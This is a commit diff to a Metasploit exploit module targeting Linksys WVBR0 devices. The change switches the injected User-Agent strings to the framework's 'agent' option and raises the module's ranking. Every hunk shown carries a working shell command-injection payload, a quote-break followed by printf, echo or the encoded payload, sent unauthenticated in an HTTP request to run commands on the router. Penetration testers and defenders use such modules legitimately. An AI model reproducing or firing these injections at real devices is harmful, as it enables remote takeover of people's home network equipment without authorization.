Ranking upgrade and uses agent key instead of manually setting user-agent in headers

Author: headlesszeke

modules/exploits/linux/http/linksys_wvbr0_user_agent_exec_noauth.rb

@@ -4,7 +4,7 @@
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-  Rank = NormalRanking
+  Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
 
@@ -53,9 +53,7 @@ def check
       res = send_request_raw({
         'method' => 'GET',
         'uri' => '/',
-        'headers' => {
-          'User-Agent'  => "\"; printf \"#{check_str}"
-        }
+        'agent' => "\"; printf \"#{check_str}"
       })
       if res && res.code == 200 && res.body.to_s.include?(Rex::Text.md5(check_str))
         return Exploit::CheckCode::Vulnerable
@@ -90,9 +88,7 @@ def exploit_cmd
       res = send_request_raw({
         'method' => 'GET',
         'uri'    => '/',
-        'headers' => {
-          'User-Agent'  => "\"; echo #{beg_boundary}; #{payload.encoded} #"
-        }
+        'agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #"
       })
 
       if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/
@@ -113,9 +109,7 @@ def exploit_session
       send_request_raw({
         'method' => 'GET',
         'uri'    => '/',
-        'headers' => {
-          'User-Agent'  => "\"; #{payload.encoded} #"
-        }
+        'agent' => "\"; #{payload.encoded} #"
       })
     rescue ::Rex::ConnectionError
       fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")